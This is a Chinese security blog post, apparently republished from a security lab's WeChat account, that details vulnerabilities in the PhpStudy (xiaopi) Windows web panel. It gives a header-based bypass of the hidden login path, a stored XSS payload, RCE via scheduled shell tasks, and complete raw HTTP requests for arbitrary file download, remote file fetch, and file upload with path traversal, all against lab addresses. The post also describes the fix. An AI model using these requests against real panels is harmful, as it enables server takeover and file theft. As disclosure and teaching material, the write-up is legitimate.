小皮 Windows web 面板 漏洞详解

admin 2023年3月27日23:13:08评论34 views字数 5137阅读17分7秒阅读模式

漏洞简介

  PhpStudy国内12年老牌公益软件,集安全、高效、功能与一体,已获得全球用户认可安装,运维也高效。 支持一键LAMP、LNMP、集群、监控、网站、数据库、FTP、软件中心、伪静态、云备份、SSL、多版本共存、Nginx反向代理、服务器防火墙、web防火墙、监控大屏等100多项服务器管理功能。小皮 Windows web 面板存在存储型 xss 漏洞,结合后台计划任务即可实现 RCE。

影响版本

操作系统 影响版本
Windows V0.102 及其以下的版本
Liunx V1.11 及其以下的版本

  因为我一边测试一边写文章,但是我发现下载下的新版本的已经添加了过滤,但是并没有更新日志。

环境搭建

  从官网下载 小皮 windows 面板安装包

  https://www.xp.cn/windows-panel.html

  

小皮 Windows web 面板 漏洞详解

  

小皮 Windows web 面板 漏洞详解

  安装完成后会有一个初始信息文本,记录了小皮面板的登录地址以及账号密码

  

小皮 Windows web 面板 漏洞详解

  

小皮 Windows web 面板 漏洞详解

漏洞复现

绕过随机码

  我们注意到小皮面板后台默认开放在 9080 端口,后台登录 url 地址中会存在一个随机码,不添加随机码时返回信息为 404。

  

小皮 Windows web 面板 漏洞详解

  在程序中全局搜索和 404 相关的字样定位到 service/httpServer/Workerman/WebServer.php

  

小皮 Windows web 面板 漏洞详解

  当添加请求头 X-Requested-With: XMLHttpRequest 就可以绕过随机码

  

小皮 Windows web 面板 漏洞详解

  ‍

存储型 XSS

  我们在用户登录处的用户名插入弹窗 XSS 代码 验证是否存在漏洞

<script>alert("xss")</script>

  

小皮 Windows web 面板 漏洞详解

  

小皮 Windows web 面板 漏洞详解

  利用正确的用户名密码登录查看

  

小皮 Windows web 面板 漏洞详解

  我们发现成功的触发了存储型 xss

  我们查看登录时的数据包

  

小皮 Windows web 面板 漏洞详解

  service/app/account.php

  

小皮 Windows web 面板 漏洞详解

  Account::login

  

小皮 Windows web 面板 漏洞详解

  Socket::request

  

小皮 Windows web 面板 漏洞详解

  ‍

  将信息保存起来,登录平台后会自动获取一次日志信息

  

小皮 Windows web 面板 漏洞详解

  service/app/log.php

  

小皮 Windows web 面板 漏洞详解

  ‍

后台计划任务

  我们注意到后台有计划任务模块

  

小皮 Windows web 面板 漏洞详解

  所以可以直接通过构造计划任务实现 RCE

  添加任务 -> 添加 shell 脚本 -> 构造 shell 脚本内容 -> 执行 shell 脚本

  

小皮 Windows web 面板 漏洞详解

  ‍

  

小皮 Windows web 面板 漏洞详解

  

小皮 Windows web 面板 漏洞详解

  

小皮 Windows web 面板 漏洞详解

  

小皮 Windows web 面板 漏洞详解

  

小皮 Windows web 面板 漏洞详解

  成功执行命令

  结合原本的存储型 XSS,可以直接获取管理员的 Cookie 值然后实现后台计划任务命令执行,或者直接通过 js 文件实现类似 CSRF + 后台计划任务命令执行。

任意文件下载

  构造数据包

GET /service/app/files.php?type=download&file=L3Rlc3QudHh0 HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close

  file 的值是 base64 编码后的 /test.txt 成功读取文件内容

  

小皮 Windows web 面板 漏洞详解

  

小皮 Windows web 面板 漏洞详解

  service/app/files.php

  

小皮 Windows web 面板 漏洞详解

  文件下载通过 get 获取文件名,通过 base64 解码获取,没有校验,所以可以实现任意文件下载

任意代码执行

  构造数据包

POST /service/app/files.php?type=download_remote_file HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

url=aHR0cDovLzE5Mi4xNjguMjIyLjE6ODAwMC8xLnR4dA==&download_to_file_folder=&newfilename=testing.txt

  url 是 base64 编码的 http://192.168.222.1:8000/1.txt

 python2 -m SimpleHTTPServer 8000   #在本地开启 http 服务

  

小皮 Windows web 面板 漏洞详解

  

小皮 Windows web 面板 漏洞详解

  

小皮 Windows web 面板 漏洞详解

  service/app/files.php

  

小皮 Windows web 面板 漏洞详解

  通过 url 获取远程的下载地址,download_to_file_folder 指定下载文件文件夹,newfilename 指定保存文件的文件名

任意文件上传

  构造数据包

POST /service/app/files.php?type=file_upload HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Length: 288

------WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Disposition: form-data; name="file_path"

/
------WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Disposition: form-data; name="file"; filename="testing1.txt"
Content-type: image/jpg

qweqwe
------WebKitFormBoundaryE0tFhmmng2vwxftT--

  

小皮 Windows web 面板 漏洞详解

  

小皮 Windows web 面板 漏洞详解

  service/app/files.php

  

小皮 Windows web 面板 漏洞详解

任意文件上传二

  构造数据包

POST /service/app/files.php?type=save_file_contents HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 58

file_path=/&file_name=test2.txt&txt_file_contents=qwerqwer

  

小皮 Windows web 面板 漏洞详解

  

小皮 Windows web 面板 漏洞详解

  service/app/files.php

  

小皮 Windows web 面板 漏洞详解

  根据通过 post 传入的值 file_path 指定保存文件目录 file_name 指定文件保存名字 txt_file_contents 指定文件保存内容,未作任何过滤,可实现任意文件上传

任意文件上传三

  构造数据包

POST /service/app/databases.php?type=file_add HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Length: 312

------WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Disposition: form-data; name="parent_dir"

../../../../../../../../
------WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Disposition: form-data; name="file"; filename="testing2.txt"
Content-type: image/jpg

qweqwe
------WebKitFormBoundaryE0tFhmmng2vwxftT--

  

小皮 Windows web 面板 漏洞详解

  

小皮 Windows web 面板 漏洞详解

  service/app/databases.php

  

小皮 Windows web 面板 漏洞详解

漏洞修复

  在登录处添加了校验

小皮 Windows web 面板 漏洞详解

  对传入的文件名的长度进行校验,同时对传入的字符串进行了 htmlspecialchars 处理

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:[email protected]

文章类型:黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。


更多详情,点我查看!

小皮 Windows web 面板 漏洞详解
靶场实操,戳“阅读原文“

原文始发于微信公众号(合天网安实验室):小皮 Windows web 面板 漏洞详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月27日23:13:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   小皮 Windows web 面板 漏洞详解http://cn-sec.com/archives/1633742.html

发表评论

匿名网友 填写信息